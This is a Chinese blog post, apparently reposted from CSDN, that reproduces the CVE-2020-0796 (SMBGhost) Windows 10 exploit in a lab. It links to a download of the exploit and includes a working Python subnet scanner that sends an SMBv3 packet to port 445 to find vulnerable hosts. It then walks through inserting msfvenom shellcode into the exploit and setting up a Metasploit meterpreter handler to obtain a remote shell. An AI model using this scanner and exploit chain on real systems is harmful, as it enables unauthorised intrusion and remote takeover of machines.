CVE-2020-0796 WIN10 永恒之黑漏洞复现

poc、exp下载地址

https://pan.baidu.com/s/1VS_3wnevb8GkSl4ecVRqyg

密码:1234

1.禁用windows update

2.关闭windows防火墙

3.主机发现

检测工具

import socket
import struct
import sys
from netaddr import IPNetwork

pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'

subnet = sys.argv[1]

for ip in IPNetwork(subnet):

    sock = socket.socket(socket.AF_INET)
    sock.settimeout(3)

    try:
        sock.connect(( str(ip),  445 ))
    except:
        sock.close()
        continue

    sock.send(pkt)

    nb, = struct.unpack(">I", sock.recv(4))
    res = sock.recv(nb)

    if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00":
        print(f"{ip} Not vulnerable.")
    else:
        print(f"{ip} Vulnerable")

Vulnerable  代表易攻击  也可以把ip改为 10.3.139.0/24扫描网段  

4.用msfvenom生成python类型的shellcode

5.复制所有值,然后将buf替换成USER_PAYLOAD,然后粘贴到exp文件中替换掉之前的

6.MSF监听4444端口

  1. use exploit/multi/handler
  2. set payload windows/x64/meterpreter/bind_tcp
  3. set lport 4444
  4. set rhost 192.168.152.167 (Win10的IP地址)
  5. run

7.运行exp脚本

8.成功反弹shell

猜你喜欢

转载自blog.csdn.net/qq_42094992/article/details/108007651
今日推荐